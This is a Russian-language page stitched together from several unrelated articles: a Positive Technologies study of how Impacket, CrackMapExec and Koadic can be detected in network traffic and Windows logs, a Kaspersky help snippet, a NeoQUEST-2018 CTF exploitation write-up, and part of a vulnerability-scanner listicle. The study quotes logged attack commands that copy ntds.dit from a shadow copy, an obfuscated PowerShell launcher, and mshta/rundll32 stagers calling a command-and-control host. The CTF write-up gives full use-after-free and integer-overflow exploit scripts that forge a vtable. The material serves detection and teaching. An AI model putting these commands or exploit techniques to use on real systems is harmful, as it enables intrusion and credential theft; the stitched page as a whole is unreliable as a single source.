Как найти уязвимость в windows

С каждым годом растет количество атак в корпоративном секторе: например в 2017 году зафиксировали на 13% больше уникальных инцидентов чем в 2016 г., а по итогам 2018 — на 27% больше инцидентов, чем в предыдущем периоде. В том числе и тех, где основным рабочим инструментом является операционная система Windows. В 2017—2018 годах группировки APT Dragonfly, APT28, APT MuddyWater проводили атаки на правительственные и военные организации Европы, Северной Америки и Саудовской Аравии. И использовали для этого три инструмента — Impacket, CrackMapExec и Koadic. Их исходный код открыт и доступен на GitHub.

Стоит отметить, что эти инструменты используются не для первичного проникновения, а для развития атаки внутри инфраструктуры. Злоумышленники используют их на разных стадиях атаки, следующих после преодоления периметра. Это, к слову сказать, сложно детектируется и зачастую только с помощью технологий выявления следов компрометации в сетевом трафике или инструментов, позволяющих обнаружить активные действия злоумышленника после проникновения его в инфраструктуру. Инструменты обеспечивают множество функций — от передачи файлов до взаимодействия с реестром и выполнения команд на удаленной машине. Мы провели исследование этих инструментов, чтобы определить их сетевую активность.

Что нам необходимо было сделать:

  • Понять, как работает хакерский инструментарий. Узнать, что необходимо атакующим для эксплуатации и какими технологиями они могут воспользоваться.
  • Найти то, что не детектируется средствами информационной безопасности на первых стадиях атаки. Стадия разведки может быть пропущена, либо потому что атакующим выступает внутренний злоумышленник, либо потому что атакующий пользуется брешью в инфраструктуре, о которой не было известно ранее. Появляется возможность восстановить всю цепочку его действий, отсюда возникает желание обнаруживать дальнейшее передвижение.
  • Устранить ложные срабатывания средств обнаружения вторжений. Нельзя забывать и о том, что при обнаружении тех или иных действий на основе одной только разведки возможны частые ошибки. Обычно в инфраструктуре существует достаточное количество способов, неотличимых от легитимных на первый взгляд, получить какую-либо информацию.

Что же дают атакующим эти инструменты? Если это Impacket, то злоумышленники получают большую библиотеку модулей, которые можно использовать на разных стадиях атаки, следующих после преодоления периметра. Многие инструменты используют модули Impacket у себя внутри — например, Metasploit. В нем имеются dcomexec и wmiexec для удаленного выполнения команд, secretsdump для получения учетных записей из памяти, которые добавлены из Impacket. В итоге правильное обнаружение активности такой библиотеки обеспечит и обнаружение производных.

О CrackMapExec (или просто CME) создатели неслучайно написали «Powered by Impacket». Кроме того, CME имеет в себе готовую функциональность для популярных сценариев: это и Mimikatz для получения паролей или их хешей, и внедрение Meterpreter либо Empire agent для удаленного исполнения, и Bloodhound на борту.

Третий выбранный нами инструмент — Koadic. Он достаточно свеж, был представлен на международной хакерской конференции DEFCON 25 в 2017 году и отличается нестандартным подходом: работой через HTTP, Java Script и Microsoft Visual Basic Script (VBS). Такой подход называют living off the land: инструмент пользуется набором зависимостей и библиотек, встроенных в Windows. Создатели называют его COM Сommand & Сontrol, или С3.

IMPACKET

Функциональность Impacket весьма широка, начиная от разведки внутри AD и сбора данных с внутренних серверов MS SQL, заканчивая техниками для получения учетных данных: это и атака SMB relay, и получение с контроллера домена файла ntds.dit, содержащего хеши паролей пользователей. Также Impacket удаленно выполняет команды, используя четыре различных способа: через WMI, сервис для управления планировщиком Windows, DCOM и SMB, и для этого ему нужны учетные данные.

Secretsdump

Давайте рассмотрим secretsdump. Это модуль, целью которого могут быть как машины пользователей, так и контроллеры домена. С его помощью можно получать копии областей памяти LSA, SAM, SECURITY, NTDS.dit, поэтому его можно увидеть на разных стадиях атаки. Первым шагом в работе модуля является аутентификация через SMB, для которой необходим либо пароль пользователя, либо его хеш для автоматического проведения атаки Pass the Hash. Далее идет запрос на открытие доступа к Service Control Manager (SCM) и получение доступа к реестру по протоколу winreg, используя который атакующий может узнать данные интересующих его веток и получить результаты через SMB.

На рис. 1 мы видим, как именно при использовании протокола winreg происходит получение доступа по ключу реестра с LSA. Для этого используется команда DCERPC с opcode 15 — OpenKey.


Рис. 1. Открытие ключа реестра по протоколу winreg

Далее, когда доступ по ключу получен, происходит сохранение значений командой SaveKey с opcode 20. Impacket делает это весьма специфично. Он сохраняет значения в файл, имя которого — это строка из 8 случайных символов с добавлением .tmp. Кроме того, дальнейшая выгрузка этого файла происходит через SMB из директории System32 (рис. 2).


Рис. 2. Схема получения ключа реестра с удаленной машины

Выходит, обнаружить подобную активность в сети можно по запросам к определенным веткам реестра по протоколу winreg, специфичным именам, командам и их порядку.

Также этот модуль оставляет следы в журнале событий Windows, благодаря которым он легко обнаруживается. Например, в результате выполнения команды

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

в журнале Windows Server 2016 увидим следующую ключевую последовательность событий:

1. 4624 — удаленный Logon.
2. 5145 — проверка прав доступа к удаленному сервису winreg.
3. 5145 — проверка прав доступа к файлу в директории System32. Файл имеет случайное имя, упомянутое выше.
4. 4688 — создание процесса cmd.exe, который запускает vssadmin:

“C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

5. 4688 — создание процесса с командой:

"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

6. 4688 — создание процесса с командой:

"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

7. 4688 — создание процесса с командой:

"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

Smbexec

Как и у многих инструментов для постэксплуатации, у Impacket есть модули для удаленного выполнения команд. Мы остановимся на smbexec, который дает интерактивную командную оболочку на удаленной машине. Для этого модуля также требуется аутентификация через SMB либо паролем, либо его хешем. На рис. 3 мы видим пример работы такого инструмента, в данном случае это консоль локального администратора.


Рис. 3. Интерактивная консоль smbexec

Первым этапом работы smbexec после аутентификации является открытие SCM командой OpenSCManagerW (15). Запрос примечателен: в нем поле MachineName имеет значение DUMMY.


Рис. 4. Запрос на открытие Service Control Manager

Далее происходит создание сервиса с помощью команды CreateServiceW (12). В случае smbexec мы можем видеть каждый раз одинаковую логику построения команды. На рис. 5 зеленым цветом отмечены неизменяемые параметры команды, желтым — то, что атакующий может изменить. Нетрудно заметить, что имя исполняемого файла, его директорию и файл output изменить можно, но оставшееся поменять куда сложнее, не нарушая логику работы модуля Impacket.


Рис. 5. Запрос на создание сервиса с помощью Service Control Manager

Smbexec также оставляет явные следы в журнале событий Windows. В журнале Windows Server 2016 для интерактивной командной оболочки с командой ipconfig увидим следующую ключевую последовательность событий:

1. 4697 — установка сервиса на машине жертвы:

%COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

2. 4688 — создание процесса cmd.exe с аргументами из пункта 1.
3. 5145 — проверка прав доступа к файлу __output в директории C$.
4. 4697 — установка сервиса на машине жертвы.

%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

5. 4688 — создание процесса cmd.exe с аргументами из пункта 4.
6. 5145 — проверка прав доступа к файлу __output в директории C$.

Impacket является основой для разработки инструментов для атак. Он поддерживает почти все протоколы в Windows-инфраструктуре и при этом имеет свои характерные особенности. Здесь и конкретные winreg-запросы, и использование SCM API с характерным формированием команд, и формат имен файлов, и SMB share SYSTEM32.

CRACKMAPEXEC

Инструмент CME призван в первую очередь автоматизировать те рутинные действия, которые приходится выполнять атакующему для продвижения внутри сети. Он позволяет работать в связке с небезызвестными Empire agent и Meterpreter. Чтобы выполнять команды скрытно, CME может их обфусцировать. Используя Bloodhound (отдельный инструмент для проведения разведки), атакующий может автоматизировать поиск активной сессии доменного администратора.

Bloodhound

Bloodhound как самостоятельный инструмент позволяет вести продвинутую разведку внутри сети. Он собирает данные о пользователях, машинах, группах, сессиях и поставляется в виде скрипта на PowerShell или бинарного файла. Для сбора информации используются LDAP или протоколы, базирующиеся на SMB. Интеграционный модуль CME позволяет загружать Bloodhound на машину жертвы, запускать и получать собранные данные после выполнения, тем самым автоматизируя действия в системе и делая их менее заметными. Графическая оболочка Bloodhound представляет собранные данные в виде графов, что позволяет найти кратчайший путь от машины атакующего до доменного администратора.


Рис. 6. Интерфейс Bloodhound

Для запуска на машине жертвы модуль создает задачу, используя ATSVC и SMB. ATSVC является интерфейсом для работы с планировщиком задач Windows. CME использует его функцию NetrJobAdd (1) для создания задач по сети. Пример того, что отправляет модуль CME, показан на рис. 7: это вызов команды cmd.exe и обфусцированный код в виде аргументов в формате XML.


Рис.7. Создание задачи через CME

После того как задача поступила на исполнение, машина жертвы запускает сам Bloodhound, и в трафике это можно увидеть. Для модуля характерны LDAP-запросы для получения стандартных групп, списка всех машин и пользователей в домене, получение информации об активных пользовательских сессиях через запрос SRVSVC NetSessEnum.


Рис. 8. Получение списка активных сессий через SMB

Кроме того, запуск Bloodhound на машине жертвы с включенным аудитом сопровождается событием с ID 4688 (создания процесса) и именем процесса «C:\Windows\System32\cmd.exe». Примечательным в нем являются аргументы командной строки:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Весьма интересен с точки зрения функциональности и реализации модуль enum_avproducts. WMI позволяет с помощью языка запросов WQL получать данные различных объектов Windows, чем по сути и пользуется этот модуль CME. Он генерирует запросы к классам AntiSpywareProduct и AntiМirusProduct о средствах защиты, установленных на машине жертвы. Для того чтобы получить нужные данные, модуль выполняет подключение к пространству имен root\SecurityCenter2, затем формирует WQL-запрос и получает ответ. На рис. 9 показано содержимое таких запросов и ответов. В нашем примере нашелся Windows Defender.


Рис. 9. Сетевая активность модуля enum_avproducts

Зачастую аудит WMI (Trace WMI-Activity), в событиях которого можно найти полезную информацию о WQL-запросах, может оказаться выключенным. Но если он включен, то в случае запуска сценария enum_avproducts сохранится событие с ID 11. В нем будет содержаться имя пользователя, который отправил запрос, и имя в пространстве имен root\SecurityCenter2.

У каждого из модулей CME обнаружились свои артефакты, будь то специфические WQL-запросы или создание определенного вида задачи в task scheduler с обфускацией и характерная для Bloodhound активность в LDAP и SMB.

KOADIC

Отличительной особенностью Koadic является использование встроенных в Windows интерпретаторов JavaScript и VBScript. В этом смысле он следует тренду living off the land — то есть не имеет внешних зависимостей и пользуется стандартными средствами Windows. Это инструмент для полноценного Command & Control (CnC), поскольку после заражения на машину устанавливается «имплант», позволяющий ее контролировать. Такая машина, в терминологии Koadic, называется «зомби». При нехватке привилегий для полноценной работы на стороне жертвы Koadic имеет возможность их поднять, используя техники обхода контроля учетных записей (UAC bypass).


Рис. 10. Командная оболочка Koadic

Жертва должна сама инициировать общение с сервером Command & Control. Для этого ей необходимо обратиться по заранее подготовленному URI и получить основное тело Koadic с помощью одного из стейджеров. На рис. 11 показан пример для стейджера mshta.


Рис. 11. Инициализация сессии с CnC-сервером

По переменной WS ответа становится понятно, что исполнение происходит через WScript.Shell, а переменные STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE содержат ключевую информацию о параметрах текущей сессии. Это первая пара запрос-ответ в HTTP-соединении с CnC-сервером. Последующие запросы связаны непосредственно с функциональностью вызываемых модулей (имплантов). Все модули Koadic работают только с активной сессией c CnC.

Mimikatz

Так же, как CME работает с Bloodhound, Koadic работает с Mimikatz как с отдельной программой и имеет несколько способов ее запуска. Ниже представлена пара запрос-ответ для загрузки импланта Mimikatz.


Рис. 12. Передача Mimikatz в Koadic

Можно заметить, как изменился формат URI в запросе. В нем появилось значение у переменной csrf, которая отвечает за выбранный модуль. Не обращайте внимание на ее имя; все мы знаем, что под CSRF обычно понимают другое. В ответ пришло все то же основное тело Koadic, в которое добавился код, связанный с Mimikatz. Он достаточно большой, поэтому рассмотрим ключевые моменты. Перед нами закодированная в base64 библиотека Mimikatz, сериализованный .NET-класс, который будет ее инжектировать, и аргументы для запуска Mimikatz. Результат выполнения передается по сети в открытом виде.


Рис. 13. Результат выполнения Mimikatz на удаленной машине

Exec_cmd

В Koadic также есть модули, способные удаленно выполнять команды. Здесь мы увидим все тот же метод генерации URI и знакомые переменные sid и csrf. В случае модуля exec_cmd в тело добавляется код, который способен выполнять shell-команды. Ниже показан такой код, содержащийся в HTTP-ответе CnC-сервера.


Рис. 14. Код импланта exec_cmd

Переменная GAWTUUGCFI со знакомым атрибутом WS необходима для выполнения кода. С ее помощью имплант вызывает shell, обрабатывая две ветки кода — shell.exec с возвращением выходного потока данных и shell.run без возращения.

Koadic не является типичным инструментом, но имеет свои артефакты, по которым его можно найти в легитимном трафике:

  • особое формирование HTTP-запросов,
  • использование winHttpRequests API,
  • создание объекта WScript.Shell через ActiveXObject,
  • большое исполняемое тело.

Изначальное соединение инициирует стейджер, поэтому появляется возможность обнаруживать его активность через события Windows. Для mshta это событие 4688, которое говорит о создании процесса с атрибутом запуска:

C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6

Во время выполнения Koadic можно увидеть и другие события 4688 с атрибутами, которые отлично его характеризуют:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\mshtml,RunHTMLApplication
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Выводы

Тренд living off the land набирает популярность среди злоумышленников. Они используют встроенные в Windows инструменты и механизмы для своих нужд. Мы видим, как популярные инструменты Koadic, CrackMapExec и Impacket, следующие этому принципу, все чаще встречаются в отчетах об APT. Число форков на GitHub у этих инструментов также растет, появляются новые (сейчас их уже около тысячи). Тренд набирает популярность в силу своей простоты: злоумышленникам не нужны сторонние инструменты, они уже есть на машинах жертв и помогают обходить средства защиты. Мы сосредоточены на изучении сетевого взаимодействия: каждый описанный выше инструмент оставляет свои следы в сетевом трафике; подробное их изучение позволило нам научить наш продукт PT Network Attack Discovery их обнаруживать, что в итоге помогает расследовать всю цепочку киберинцидентов с их участием.

Авторы:

  • Антон Тюрин, руководитель отдела экспертных сервисов, PT Expert Security Center, Positive Technologies
  • Егор Подмоков, эксперт, PT Expert Security Center, Positive Technologies

Как выполнить поиск уязвимостей в программах, установленных на вашем компьютере

В программах, установленных на вашем компьютере могут быть уязвимости, через которые способны проникнуть вредоносные программы. Проверка вашего компьютера поможет найти эти уязвимости и предотвратить заражение компьютера.

Чтобы запустить поиск уязвимостей, выполните следующие действия:

  1. Откройте главное окно программы.
  2. В раскрывающемся списке Больше функций выберите элемент Поиск уязвимостей.
  3. В окне Поиск уязвимостей нажмите на кнопку Начать поиск.

Kaspersky Anti-Virus начнет проверку вашего компьютера на наличие уязвимостей.

Начиная с версии Kaspersky Anti-Virus 2021, из программы был исключен поиск уязвимостей операционной системы. Если вы хотите выполнять поиск уязвимостей операционной системы, вы можете вернуться на предыдущую версию программы.

Pwn iNt All! Находим уязвимости в скриптовых движках и вскрываем usermode-механизмы защиты Windows. Часть 1

Операционные системы – дело тонкое. И очень защищенное! Обойти их механизмы защиты — дело сложное и трудоемкое, даже слегка похожее на волшебство. Но говорят, что сын маминой подруги уже нашел несколько RCE-уязвимостей , написал эксплойт, и обошел все защитные механизмы. Попробуем и мы!

Сделаем это на примере задания № 11 из прошедшего NeoQUEST-2018 . Задачка реалистичная — рассмотрим “живой” сценарий удаленного выполнения кода, похожий на тот, что возникает в процессе эксплуатации Javascript-движков в браузерах. Будем искать уязвимости в некотором интерпретаторе, реализовывать их с получением ARW-примитива, а в результате — обойдем защиту ОС Windows пользовательского режима. Задание оказалось крайне

сложнопроходимым

интересным, поэтому посвятим ему целый цикл статей с подробным описанием пути к успеху.

По легенде, у нас имеется бинарник программы, а также адрес, на котором крутится подобный сервис. Также упомянуто о том, что первой ступенькой к успеху является некая «ключевая» функция.

Итак, приступим!

«Ключевой» поиск

Рассмотрим исходные данные. Целевая программа представляет собой некий интерпретатор команд для работы с тремя типами данных: числами, векторами и матрицами. Воспользуемся командой help — это даст нам представление о наборе поддерживаемых команд. Интерпретатор позволяет:

  • Создавать переменные векторов, матриц и чисел различных размеров.
  • Переназначать и копировать переменные.
  • Работать с отдельными ячейками матриц векторов как с числами, производить с ними простейшие арифметические операции.
  • Искать значение в векторах/матрицах, узнавать тип переменной и её значение.
  • Создавать циклы с переменными границами и шагом.

Программа реализована в виде бесконечного цикла обработки команд:

И каждая команда представлена отдельным регулярным выражением.

Итак, в поисках “ключевой” функции проверим бинарник на предмет характерных строк, связанных со словом “ключ” на всех языках мира. Быстро находим нужный фрагмент:

Похоже, что в бинарнике ключ отсутствует (что логично, черт побери!). Судя по всему, на сервере крутится тот же бинарник, и в строке аргумента aFirstKeyIs2c7f там находится верный ключ! Но как получить содержимое измененной строки с удаленного сервера?

Элементарный анализ подтверждает тот факт, что найденную нами функцию необходимо только вызвать, и строка с ключом будет напечатана в stdout. Похоже, что эта функция является виртуальным методом какого-то класса, так как:

  • В коде отсутствуют прямые вызовы (direct calls) этой функции и функции-заглушки sub_40E120.
  • Вызов sub_40E120 лежит в списке разрешенных с точки зрения механизма Control Flow Guard , что характерно для виртуальных методов – эти методы вызываются через косвенные вызовы (indirect calls).

Итак, фронт работ ясен: необходимо научиться вызывать нужный виртуальный метод в бинарнике на серверной стороне. Есть два варианта развития событий:

  1. Попробовать найти легитимную возможность вызвать нужный метод. Теоретически это может быть недокументированная возможность программы.
  2. Поискать уязвимости. Если найти то, что позволит нам овладеть магией выполнения произвольного кода, то можно с легкостью вызвать нужный метод и получить ключ.

С чего же начать?

Закладки сладки

Для начала проанализируем код на предмет недокументированных возможностей. Судя по всему, функция обработки входной строки их не содержит: используемые здесь регулярные выражения относятся лишь к вышеперечисленным командам. Да и прямых вызовов данной функции в коде нет. Может быть, среди документированных команд имеются скрытые возможности по косвенному вызову нужной нам “ключевой” функции?

Ан нет. Некоторые команды (find, what) содержат в себе косвенные вызовы виртуальных методов, но повлиять на выбор вызываемого метода невозможно — смещения в таблице vtable везде фиксированы.

Увы, неудача! Теперь самое время заняться поиском

оправданий

уязвимостей, которые позволят нам вызвать “ключевую” функцию.

Кто ищет, тот всегда найдет, что искать

Мы у мамы программисты, поэтому попробуем написать простейший фаззер , генерирующий случайные, синтаксически верные наборы команд для интерпретатора. По такому же принципу пишутся фаззеры Javascript и DOM при поиске уязвимостей в браузерах. Наш фаззер будет генерировать различные последовательности команд в надежде “уронить” интерпретатор. Принцип работы фаззера при генерации очередной последовательности команд следующий:

  1. Сначала создается некоторое количество переменных различных типов и размеров. Имена и типы переменных сохраняются для последующего использования.
  2. Далее каждая команда генерируется случайным образом в соответствии со списком имеющихся переменных:
    • Выбирается произвольная команда (без учета параметров) из списка: команда создания новой переменной, арифметическая операция, команда присвоения, команды find, print.
    • В зависимости от вида команды, к ней добавляются произвольные аргументы. К примеру, для команды find выбирается произвольное имя из списка доступных переменных + произвольное число, являющееся вторым аргументом. Для команды арифметической операции число параметров велико (знак операции, переменные, индексы векторов и матриц), и каждый из них также выбирается произвольно.
    • Сформированная команда добавляется в текущую последовательность. Поскольку некоторые команды могут создавать новые переменные и менять тип уже существующих, то списки с переменными в этих случаях обновляются. Это позволит задействовать новые/измененные переменные в процессе генерации последующих команд.
  3. Интерпретатор запускается под отладчиком. Сформированная последовательность передается на вход интерпретатору. Ведется регистрация возможных падений при обработке переданных команд.

Иии… Победа! После запуска фаззера достаточно быстро удалось найти уязвимые последовательности команд, на которых интерпретатор “упал”. Результат более чем удовлетворительный — целых две различные уязвимости!

Уязвимость №1 (UaF)

Получив первую последовательность и очистив её от лишних команд (которые не влияют на падение интерпретатора), получаем следующий Proof-Of-Concept:

Посмотрим повнимательнее. Узнаете? Перед нами классическая уязвимость типа Use-After-Free ! Вот что происходит в данной последовательности команд:

  1. Создается большой вектор vec и целочисленная переменная intval.
  2. Создается копия вектора vec — переменная vec2.
  3. Переменной vec2 присваивается переменная другого типа (целочисленного).
  4. Попытка работать с исходным вектором vec приводит к записи в освобожденную память и, соответственно, к падению программы.

Похоже, что в интерпретаторе реализована концепция Copy-On-Write, вследствие чего переменные vec и vec2 содержали ссылку на один и тот же буфер в памяти. При переназначении одной из переменных буфер освобождался без учета того факта, что на него имелась ссылка и в другой переменной. После этого переменная vec содержала указатель на освобожденную память, и имела к ней доступ на чтение и запись. Как итог, данная уязвимость позволяет получить произвольный доступ к участку памяти, в которой могут находиться другие объекты программы.

Уязвимость №2 (Integer Overflow)

Вторая проблема связана с конструктором объекта матрицы. При выделении памяти под численный массив некорректно реализована проверка ширины W и высоты H матрицы.

В конструкторе предварительно выделяется память под W*H целочисленных ячеек. Если произведение W *H было больше, чем 232-1, то это приводит к выделению очень маленького буфера вследствие целочисленного переполнения. Это можно заметить и непосредственно в бинарнике, в конструкторе класса.

Однако возможность последующего доступа к ячейкам этого массива определяется большими границами W и H, а не переполненным значением W *H:

Данная уязвимость так же, как и первая, позволяет осуществлять чтение и запись в память вне допустимых границ.

Каждая из найденных уязвимостей позволяет достичь нужного результата – стать RCE-богом и исполнить произвольный код. Рассмотрим эту процедуру в обоих случаях.

Я тебя контролирую!

Возможность произвольного доступа к свободному участку памяти в куче является сильным примитивом эксплуатации. Необходимо использовать поврежденный объект vec (вектор в первом случае и матрицу во втором) для контролируемой модификации какого-то другого объекта в куче процесса (назовем его victim). Нужным образом изменяя внутренние поля объекта victim, мы добьёмся выполнения произвольного кода.
Сначала поймем, что из себя представляют объекты числа, вектора и матрицы в памяти. Вновь заглянем в бинарник и недалеко от функции обработки входной команды обнаружим вызовы конструкторов для соответствующих классов. Все они являются наследниками базового класса и имеют схожие конструкторы. Например, так выглядит конструктор объекта вектора:

При создании объекта вызывается конструктор базового класса, затем поля объекта заполняются в соответствии с его типом. Можно увидеть назначение и порядок полей: адрес таблицы виртуальных функций, размер вектора, адрес буфера, тип объекта в виде численного идентификатора.
Как добиться того, чтобы в освобожденном участке памяти, доступном с помощью поврежденного объекта vec, оказалась переменная victim? Будем создавать новые объекты в куче процесса сразу после приведения объекта vec в поврежденное состояние. А для поиска объекта, который таки попадет в освобожденную память, воспользуемся командой интерпретатора find. Поместим в одно из полей у создаваемых объектов какое-либо редкое значение — своеобразный magic number. Очевидно, лучше всего для этого подходит размер буфера, т.к. он задается непосредственно пользователем при создании нового объекта. Если поиск этого значения в буфере поврежденного объекта vec увенчается успехом, значит, мы нашли нужный объект!
Продемонстрируем нахождение объекта victim для обеих уязвимостей. Действия на данном этапе будут несколько отличаться друг от друга.

В случае с первой уязвимостью типа UaF команда find осуществляет поиск в ограниченном участке памяти — его размер совпадает с размером освобожденного буфера у объекта vec. Выделение объекта в куче производится системным аллокатором и не является детерминированным процессом. Мы так подберем размеры буфера у изначального объекта vec и у создаваемых объектов, чтобы какой-нибудь из них попал в нужную память за небольшое число попыток:

Отлично, мы успешно нашли объект-жертву victim (он же v1 в данном случае)!

При выполнении того же сценария с использованием второй уязвимости все будет несколько сложнее. В этом случае поиск будет потенциально вестись во всей памяти, поскольку ширина W либо высота H матрицы будут велики. Однако если нужного числа в непосредственной близости от буфера не будет, то цикл поиска будет выходить за границы отображенной в адресное пространство памяти. Это приведет к падению процесса интерпретатора до нахождения заветного magic number. Эта проблема решается выделением большого количества объектов в памяти — хотя бы один из них попадет в память непосредственно вблизи буфера.

Бинго! И в данном случае мы также нашли объект victim!

А теперь самое интересное — необходимо понять, как именно изменить объект victim и как запустить с его помощью выполнение нужного нам кода. Итак, мы успешно поместили в освобожденную память объект класса “вектор”. Схематично это выглядит как-то так:

Объект victim находится в доступном нам с помощью объекта vec участке кучи, и мы можем как читать поля объекта victim, так и изменять их. Также нам известно смещение числа bufsize в буфере объекта vec. Теперь модифицируем объект victim следующим образом:

  1. Прочитаем адрес таблицы vtable, тем самым раскрывая исполняемый адрес в памяти (и побеждая защиту ASLR).
  2. Изучив бинарник интерпретатора, найдем константную разницу между адресом таблицы vtable для объекта вектора и адресом “ключевой” функции. Это позволит вычислить адрес “ключевой” функции на стороне сервера:

  3. Сформируем ложную таблицу vtable прямо в буфере объекта victim, куда запишем только что вычисленный адрес “ключевой” функции.
  4. Заменим адрес истинной таблицы vtable у объекта victim на адрес ложной.
  5. Вызовем команду what у объекта victim. Благодаря манипуляции с таблицей vtable вместо подлинного виртуального метода вызовется наша, “ключевая” функция. Поскольку мы вызываем целую функцию, а не отдельные ROP-гаджеты, защита Contol Flow Guard вызову функции никак не препятствует.

Данная схема вызова нужной нам функции является идентичной для обеих уязвимостей.

Мы в шаге от успеха, осталось собрать все воедино и получить ключ! Ниже рассмотрим оба примера.
Так выглядит код работающего эксплойта для уязвимости типа Use-After-Free:

Код эксплойта для уязвимости типа Use-After-Free

var vec[4096] var m2:=vec var va=3 m2:=va va=find(vec,256) var v1[256] va=find(vec,256) var vtb=0 vtb=va-1 var buf=0 buf=va+1 var func=0 func=vec[vtb]-1547208 func=func+57632 v1[0]=func vec[vtb]=vec[buf] what v1

А так — для уязвимости типа Integer Overflow:

Код эксплойта для уязвимости типа Integer Overflow

var m[65537][65536] var v1[256] var v2[256] var v3[256] var v4[256] var v6[256] var v5[256] var v7[256] var v8[256] var v9[256] var v10[256] var v11[256] var v12[256] var v13[256] var v14[256] var v16[256] var v15[256] var v17[256] var v18[256] var v19[256] var v20[256] var v21[256] var v22[256] var v23[256] var v24[256] var v25[256] var v26[256] var v27[256] var v28[256] var v29[256] var v30[256] var v31[256] var v32[256] var v33[256] var v34[256] var v35[256] var v36[256] var v37[256] var v38[256] var v39[256] var v40[256] var varr=0 var varc=0 varr=find(m,256).row varc=find(m,256).col var vtb=0 vtb=varc-1 var buf=0 buf=varc+1 var func=0 func=m[varr][vtb]-1547208 func=func+57632 v1[0]=func v2[0]=func v3[0]=func v4[0]=func v5[0]=func v6[0]=func v7[0]=func v8[0]=func v9[0]=func v10[0]=func v11[0]=func v12[0]=func v13[0]=func v14[0]=func v15[0]=func v16[0]=func v17[0]=func v18[0]=func v19[0]=func v20[0]=func v21[0]=func v22[0]=func v23[0]=func v24[0]=func v25[0]=func v26[0]=func v27[0]=func v28[0]=func v29[0]=func v30[0]=func v31[0]=func v32[0]=func v33[0]=func v34[0]=func v35[0]=func v36[0]=func v37[0]=func v38[0]=func v39[0]=func v40[0]=func m[varr][vtb]=m[varr][buf] what v1 what v2 what v3 what v4 what v5 what v5 what v6 what v7 what v8 what v9 what v10 what v11 what v12 what v13 what v14 what v15 what v16 what v17 what v18 what v19 what v20 what v21 what v22 what v23 what v24 what v25 what v26 what v27 what v28 what v29 what v30 what v31 what v32 what v33 what v34 what v35 what v36 what v37 what v38 what v39 what v40 

Ура! Получен ключ, а бонусом к нему — важная информация. Оказывается, имеется и второй ключ, но он лежит в файле рядом с бинарником на стороне сервера. Для решения данной задачи требуется строить ROP-цепь, а значит, придется обходить CFG. Но об этом — в следующей статье!

А мы напоминаем, что всем, кто прошел полностью хотя бы одно задание на NeoQUEST-2018 , полагается приз! Проверяйте почту на наличие письма, а если вдруг оно вам не пришло — пишите на support@neoquest.ru!

Устали от того, что Интернет знает о вас все? Присоединяйтесь к нам и станьте невидимыми!

Инструменты оценки уязвимостей сканируют системы на наличие известных уязвимостей, неправильной конфигурации и других недостатков. Затем эти сканеры выдают отчеты для отделов ИТ-безопасности и управлений разработкой приложений (DevOps), которые передают приоритетные задачи для устранения недостатков.

Средства тестирования уязвимостей с открытым исходным кодом обеспечивают экономически эффективные решения для обнаружения уязвимостей. Многие ИТ-команды даже развертывают один или несколько инструментов с открытым исходным кодом в дополнение к коммерческим инструментам в качестве резервной копии или для проверки уязвимостей.

Сканеры уязвимостей веб-сайтов и приложений с открытым исходным кодом

В мире разработчики непрерывно создают сложные веб-сайты и приложения. Сканеры веб-сайтов и приложений (WebApp) тестируют код различными способами, чтобы выявить ошибки программирования и уязвимости до того, как хакеры смогут их обнаружить.

Интересно: Как узнать пароль от подключенных WiFi-сетей в Linux

Большинство инструментов обнаруживают распространенные, но критические уязвимости, перечисленные в OWASP ТОП 10, такие как SQL-инъекции (SQLi) или межсайтовый скриптинг (XSS). Организации будут делать свой выбор на основе гибкости развертывания, скорости сканирования, точности сканирования и подключения к другим инструментам, таким как системы продажи билетов или продукты для программирования рабочего процесса. Однако, если стоимость лицензирования не является барьером, многие команды будут внедрять несколько инструментов с открытым исходным кодом одновременно.

OSV-Scanner – лучший сканер кода с открытым исходным кодом

